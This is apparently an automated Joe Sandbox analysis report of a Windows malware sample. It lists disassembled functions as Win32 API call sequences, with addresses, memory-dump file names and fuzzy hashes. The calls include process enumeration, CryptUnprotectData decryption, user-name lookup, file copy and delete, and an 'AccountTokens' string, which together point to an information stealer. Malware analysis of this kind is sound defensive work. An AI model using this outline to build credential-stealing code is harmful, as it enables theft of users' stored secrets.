
GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000), ref: 006A2E12
HeapAlloc.KERNEL32(00000000), ref: 006A2E19
GetTimeZoneInformation.KERNEL32(?), ref: 006A2E28
wsprintfA.USER32 ref: 006A2E53

Strings

wwww, xrefs: 006A2E39

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID: wwww
API String ID: 362916592-671953474
Opcode ID: 9b09e279176e9d17362626aef5c1befedf82836ae6ef389e1eac98ff7e6dd4ee
Instruction ID: 19aae50449d07266c2fe0f94aab8bd070a8a7f2306ab2d1d2a48b72601f78ccc
Opcode Fuzzy Hash: 9b09e279176e9d17362626aef5c1befedf82836ae6ef389e1eac98ff7e6dd4ee
Instruction Fuzzy Hash: FB01F771A44604ABC718AB58DC49BAAB76DF784720F004329F916D73C0DB741D008AD1

Function 006A3C20 Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

Part of subcall function 006A73F0: lstrcpy.KERNEL32(00000000,ERROR), ref: 006A740E

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000), ref: 006A3C66
Process32First.KERNEL32(00000000,00000128), ref: 006A3C79
Process32Next.KERNEL32(00000000,00000128), ref: 006A3C8F

Part of subcall function 006A7520: lstrlenA.KERNEL32(?,00686E30), ref: 006A752B
Part of subcall function 006A7520: lstrcpy.KERNEL32(00000000), ref: 006A754F
Part of subcall function 006A7520: lstrcatA.KERNEL32(?,?), ref: 006A7559

Part of subcall function 006A7490: lstrcpy.KERNEL32(00000000), ref: 006A74BE

CloseHandle.KERNEL32(00000000), ref: 006A3DC7

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: d519957bb270f185e26601697838ca0fc9031d763cd9a2edb2d534ee734e6315
Instruction ID: 93f4f476b55830500bd26cfe16d126cc9008f7a0ee0ea899ef55c7381c25ab05
Opcode Fuzzy Hash: d519957bb270f185e26601697838ca0fc9031d763cd9a2edb2d534ee734e6315
Instruction Fuzzy Hash: 7981E670900215CFC754EF18D948B95B7F2BF46329F29C1AAE4095B3A2D7769D86CF80

Function 00689B80 Relevance: 6.0, APIs: 4, Instructions: 43memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00689B9F
LocalAlloc.KERNEL32(00000040,?), ref: 00689BB3
memcpy.MSVCRT(00000000,?), ref: 00689BCA
LocalFree.KERNEL32(?), ref: 00689BD7

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: fd7f2ed82efc3679403e5042d5bf20733384413f75b0fbd23eac33973a57277b
Instruction ID: 7a9761510a4a86b72c10cc5ef708f014bcbeb5fd0aebb96e6ff60ce555df8258
Opcode Fuzzy Hash: fd7f2ed82efc3679403e5042d5bf20733384413f75b0fbd23eac33973a57277b
Instruction Fuzzy Hash: D901FB75A41209ABE7109BA4DC45BABB779EB44700F104254EA04AB380DBB4AA00CBE4

Function 0069CCD0 Relevance: 4.6, APIs: 3, Instructions: 89comstringCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(006AB118,00000000,00000001,006AB108,?), ref: 0069CCF6
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000104), ref: 0069CD36
lstrcpyn.KERNEL32(?,?,00000104), ref: 0069CDB9

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWidelstrcpyn
String ID:
API String ID: 1940255200-0
Opcode ID: 0eef3a3941a73498e3e877035c2a2917d3f3dbcb9346fe51bc411afe5b93ffc9
Instruction ID: da482843c7704583fc64eff48d2aa0efee6416d94c0dad746c7364e58f4d43bd
Opcode Fuzzy Hash: 0eef3a3941a73498e3e877035c2a2917d3f3dbcb9346fe51bc411afe5b93ffc9
Instruction Fuzzy Hash: 20314471A40615AFDB10DB94CC91FA9B7B9EF89B10F104294FA14EB2D0D7B0AE45CFA0

Function 006A2C10 Relevance: 4.5, APIs: 3, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,00000000), ref: 006A2C3F
HeapAlloc.KERNEL32(00000000), ref: 006A2C46
GetUserNameA.ADVAPI32(00000000,00000104), ref: 006A2C5A

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: a55232bb52fae6a01c993e8447d46457c072c2592aab523f2267f776b84b4295
Instruction ID: 39fa62958950d3b902962fb15ebf6eafb8525012865262b85c632f5f88bdec7c
Opcode Fuzzy Hash: a55232bb52fae6a01c993e8447d46457c072c2592aab523f2267f776b84b4295
Instruction Fuzzy Hash: 81F054B1A44614EBD710DF98DD49B9ABBBCF745B21F100226FA15E3780D77419048AA1

Function 0068BF20 Relevance: 136.7, APIs: 90, Instructions: 1719stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068BF5F
lstrlenA.KERNEL32(0125D6A8), ref: 0068BF78
lstrcpy.KERNEL32(00000000,?), ref: 0068BFA2
lstrcatA.KERNEL32(00000000,00000000), ref: 0068BFAA
lstrlenA.KERNEL32(006B179C), ref: 0068BFB5
lstrcpy.KERNEL32(00000000,00000000), ref: 0068BFD5
lstrcatA.KERNEL32(00000000,006B179C), ref: 0068BFE1
lstrcpy.KERNEL32(00000000,?), ref: 0068C00C
lstrcatA.KERNEL32(00000000,00000000), ref: 0068C017
lstrlenA.KERNEL32(0125D5B8), ref: 0068C025
lstrcpy.KERNEL32(00000000,00000000), ref: 0068C04E
lstrcatA.KERNEL32(00000000,0125D5B8), ref: 0068C056
lstrcpy.KERNEL32(00000000,00000000), ref: 0068C084
lstrlenA.KERNEL32(0125D6A8), ref: 0068C0A9
lstrcpy.KERNEL32(00000000,?), ref: 0068C0D3
lstrcatA.KERNEL32(00000000,00000000), ref: 0068C0DB
lstrlenA.KERNEL32(006B179C), ref: 0068C0E6
lstrcpy.KERNEL32(00000000,00000000), ref: 0068C106
lstrcatA.KERNEL32(00000000,006B179C), ref: 0068C112
lstrcpy.KERNEL32(00000000,00000000), ref: 0068C13B
lstrcatA.KERNEL32(00000000,00000000), ref: 0068C146
lstrlenA.KERNEL32(006B4BA8), ref: 0068C151
lstrcpy.KERNEL32(00000000,00000000), ref: 0068C173
lstrcatA.KERNEL32(00000000,006B4BA8), ref: 0068C17F
lstrcpy.KERNEL32(00000000,?), ref: 0068C1A7
lstrcatA.KERNEL32(00000000,00000000), ref: 0068C1B2
lstrlenA.KERNEL32(0125D5B8), ref: 0068C1C1
lstrcpy.KERNEL32(00000000,00000000), ref: 0068C1E7
lstrcatA.KERNEL32(00000000,00000000), ref: 0068C1F2
lstrcpy.KERNEL32(00000000,00000000), ref: 0068C220
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068C2BF
lstrcpy.KERNEL32(00000000,00000000), ref: 0068C319

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen
String ID:
API String ID: 2762123234-0
Opcode ID: 9bb5c129bdb9e9240143a41a5da5020789c8a3bfea582b90b0866598e0d02dd4
Instruction ID: c2955d20676dbc8392fbff5f904f1aade762c9b768a5422119e44b21d97f0ede
Opcode Fuzzy Hash: 9bb5c129bdb9e9240143a41a5da5020789c8a3bfea582b90b0866598e0d02dd4
Instruction Fuzzy Hash: 93E24C70A012069FDB24EF69C898BAAB7F6BF44314F18826DE5499B361D735DC42CF60

Function 0068A340 Relevance: 118.0, APIs: 78, Instructions: 1041stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068A372
lstrlenA.KERNEL32(012602F8), ref: 0068A381
lstrcpy.KERNEL32(00000000,00000000), ref: 0068A3A4
lstrcatA.KERNEL32(00000000,00000000), ref: 0068A3AF
lstrcpy.KERNEL32(00000000,00000000), ref: 0068A3D5
lstrcpy.KERNEL32(00000000,?), ref: 0068A411
lstrcatA.KERNEL32(00000000), ref: 0068A41B
lstrcpy.KERNEL32(00000000,00000000), ref: 0068A444
CopyFileA.KERNEL32(?,00000000,00000001), ref: 0068A460
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068A48F
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068A4F5
lstrcpy.KERNEL32(00000000,00000000), ref: 0068A549
lstrcpy.KERNEL32(00000000,00000000), ref: 0068A589

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$CopyFilelstrlen
String ID:
API String ID: 3790741607-0
Opcode ID: 33c09faa7e5852096b0df74baf57097c92c860311532ab340cf8ce210f141b93
Instruction ID: 5e0ebeb4872698534a2912c3ae3352baa324d7ef8089519458ee5ca3cea5ba3c
Opcode Fuzzy Hash: 33c09faa7e5852096b0df74baf57097c92c860311532ab340cf8ce210f141b93
Instruction Fuzzy Hash: A6822C709116169FDB25BFA9C898AEEB7BABF44300F04432AE845A7351DB34DC41CBA5

Function 0068BF39 Relevance: 111.1, APIs: 73, Instructions: 1564stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068BF5F
lstrlenA.KERNEL32(0125D6A8), ref: 0068BF78
lstrcpy.KERNEL32(00000000,?), ref: 0068BFA2
lstrcatA.KERNEL32(00000000,00000000), ref: 0068BFAA
lstrlenA.KERNEL32(006B179C), ref: 0068BFB5
lstrcpy.KERNEL32(00000000,00000000), ref: 0068BFD5
lstrcatA.KERNEL32(00000000,006B179C), ref: 0068BFE1
lstrcpy.KERNEL32(00000000,?), ref: 0068C00C
lstrcatA.KERNEL32(00000000,00000000), ref: 0068C017
lstrlenA.KERNEL32(0125D5B8), ref: 0068C025
lstrcpy.KERNEL32(00000000,00000000), ref: 0068C04E
lstrcatA.KERNEL32(00000000,0125D5B8), ref: 0068C056
lstrcpy.KERNEL32(00000000,00000000), ref: 0068C084
lstrlenA.KERNEL32(0125D6A8), ref: 0068C0A9
lstrcpy.KERNEL32(00000000,?), ref: 0068C0D3
lstrcatA.KERNEL32(00000000,00000000), ref: 0068C0DB
lstrlenA.KERNEL32(006B179C), ref: 0068C0E6
lstrcpy.KERNEL32(00000000,00000000), ref: 0068C106
lstrcatA.KERNEL32(00000000,006B179C), ref: 0068C112
lstrcpy.KERNEL32(00000000,00000000), ref: 0068C13B
lstrcatA.KERNEL32(00000000,00000000), ref: 0068C146
lstrlenA.KERNEL32(006B4BA8), ref: 0068C151
lstrcpy.KERNEL32(00000000,00000000), ref: 0068C173
lstrcatA.KERNEL32(00000000,006B4BA8), ref: 0068C17F
lstrcpy.KERNEL32(00000000,?), ref: 0068C1A7
lstrcatA.KERNEL32(00000000,00000000), ref: 0068C1B2
lstrlenA.KERNEL32(0125D5B8), ref: 0068C1C1
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068C2BF
lstrcpy.KERNEL32(00000000,00000000), ref: 0068C319
lstrcpy.KERNEL32(00000000,00000000), ref: 0068C359

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen
String ID:
API String ID: 2762123234-0
Opcode ID: a886a8191f313347ad65eb22399b74b687c75339013d422350d6a8600d8bab13
Instruction ID: 3a1a603de079aacc5e2dceaa652493ac6c5a7049e6726173691371a98f24dc84
Opcode Fuzzy Hash: a886a8191f313347ad65eb22399b74b687c75339013d422350d6a8600d8bab13
Instruction Fuzzy Hash: D8D23B70A012069FDB24EF69C998BA9B7F6BF44314F18C2ADD4499B361D735DC42CB60

Function 0069F390 Relevance: 102.7, APIs: 57, Strings: 1, Instructions: 1156stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(006ACFF4,00000001,00000000,00000000), ref: 0069F3B5
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0069F3D1
lstrlenA.KERNEL32(006ACFF4), ref: 0069F3DC
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0069F3F5
lstrlenA.KERNEL32(006ACFF4), ref: 0069F400
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0069F419
lstrcpy.KERNEL32(00000000,006B4FAC), ref: 0069F43E
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0069F46C
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0069F4A0
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0069F4D0
lstrlenA.KERNEL32(012585D8), ref: 0069F4F5

Strings

ERROR, xrefs: 0069F7F6, 0069F8F2, 0069FB7E, 0069FC0C, 0069FE98, 0069FF30

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID: ERROR
API String ID: 367037083-2861137601
Opcode ID: 5b1f4e0c63cda47014337623b38af1855d3559c31dcf0175037c82310b830400
Instruction ID: 8a6d0d135670e365c6b3d9c1d7d95a123199f6e1db6f4e6edda8d5fb20d86714
Opcode Fuzzy Hash: 5b1f4e0c63cda47014337623b38af1855d3559c31dcf0175037c82310b830400
Instruction Fuzzy Hash: 7AA28E709012029FCF60EF69D948A9AB7FABF44314F1A8279E849DB761DB35DC42CB50

Function 0068F770 Relevance: 101.5, APIs: 67, Instructions: 1017stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068F7AE
lstrlenA.KERNEL32(012602F8), ref: 0068F7BD
lstrcpy.KERNEL32(00000000,00000000), ref: 0068F7E0
lstrcatA.KERNEL32(00000000,00000000), ref: 0068F7EB
lstrcpy.KERNEL32(00000000,00000000), ref: 0068F811
lstrcpy.KERNEL32(00000000,?), ref: 0068F852
lstrcatA.KERNEL32(00000000), ref: 0068F85C
lstrcpy.KERNEL32(00000000,00000000), ref: 0068F885
CopyFileA.KERNEL32(?,00000000,00000001), ref: 0068F8A4
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068F8D4
lstrlenA.KERNEL32(0125D598), ref: 0068F8E3
lstrcpy.KERNEL32(00000000,00000000), ref: 0068F90B
lstrcatA.KERNEL32(00000000,00000000), ref: 0068F916
lstrcpy.KERNEL32(00000000,00000000), ref: 0068F93F
lstrlenA.KERNEL32(006B179C), ref: 0068F951
lstrcpy.KERNEL32(00000000,00000000), ref: 0068F973
lstrcatA.KERNEL32(00000000,006B179C), ref: 0068F97F
lstrcpy.KERNEL32(00000000,00000000), ref: 0068F9A8
lstrcpy.KERNEL32(00000000,00000000), ref: 0068F9D7
lstrcatA.KERNEL32(00000000,00000000), ref: 0068F9E2
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FA09
lstrlenA.KERNEL32(006B4BA8), ref: 0068FA1B
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FA3D
lstrcatA.KERNEL32(00000000,006B4BA8), ref: 0068FA49
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FA74
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FAA1
lstrcatA.KERNEL32(00000000,00000000), ref: 0068FAAC
lstrlenA.KERNEL32(0125D5B8), ref: 0068FABA
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FADE
lstrcatA.KERNEL32(00000000,0125D5B8), ref: 0068FAE6
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FB11
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0068FB67
RtlAllocateHeap.NTDLL(00000000), ref: 0068FB6E
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FBBD
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FBF6
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FC29
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FC5C
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FC96
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FCC9
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FCFB
StrCmpCA.SHLWAPI(?,006B4CF0), ref: 0068FD0A
lstrlenA.KERNEL32(0125D658), ref: 0068FD1C
lstrlenA.KERNEL32(0125D5F8), ref: 0068FD51
lstrcpy.KERNEL32(00000000,0125D5F8), ref: 0068FD7E
StrCmpCA.SHLWAPI(?,006B4CF0), ref: 0068FD8D
lstrlenA.KERNEL32(0125D658), ref: 0068FD9F
lstrlenA.KERNEL32(0125D5F8), ref: 0068FDD4
lstrcpy.KERNEL32(00000000,0125D5F8), ref: 0068FE01
lstrcatA.KERNEL32(?,?), ref: 0068FE0F
lstrcatA.KERNEL32(?,006B4CF4), ref: 0068FE1E
lstrcatA.KERNEL32(?,00000000), ref: 0068FE2C
lstrcatA.KERNEL32(?,006B4CF4), ref: 0068FE3B
lstrcatA.KERNEL32(?,?), ref: 0068FE49
lstrcatA.KERNEL32(?,006B4CF4), ref: 0068FE58
lstrcatA.KERNEL32(?,00000000), ref: 0068FE66
lstrcatA.KERNEL32(?,006B4CF4), ref: 0068FE75
lstrcatA.KERNEL32(?,?), ref: 0068FE83
lstrcatA.KERNEL32(?,006B4CF4), ref: 0068FE92
lstrcatA.KERNEL32(?,?), ref: 0068FEA0
lstrcatA.KERNEL32(?,006B4CF4), ref: 0068FEAF
lstrcatA.KERNEL32(?,00000000), ref: 0068FEBA
lstrcatA.KERNEL32(?,006B4AE4), ref: 0068FEC9
lstrlenA.KERNEL32(?), ref: 006901E8
lstrlenA.KERNEL32(?), ref: 006901F7
lstrcpy.KERNEL32(00000000,00000000), ref: 00690224
memset.MSVCRT ref: 0069025C
DeleteFileA.KERNEL32(?), ref: 00690286

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$FileHeap$AllocateCopyDeleteProcessmemset
String ID:
API String ID: 1332541768-0
Opcode ID: 371643621877728e7cf550dec44eada832137a2f623641d5df21325762d1d860
Instruction ID: 1f22547470a89d191b01c16d6a904de8c7799b3156109ae9010954f15aefb265
Opcode Fuzzy Hash: 371643621877728e7cf550dec44eada832137a2f623641d5df21325762d1d860
Instruction Fuzzy Hash: F3827E70A01206DFDB24EF69D948BAAB7FABF44304F188269E949E7361DB35DC41CB50

Function 0068D330 Relevance: 98.7, APIs: 53, Strings: 3, Instructions: 699stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068D363
lstrlenA.KERNEL32(AccountTokens), ref: 0068D36E
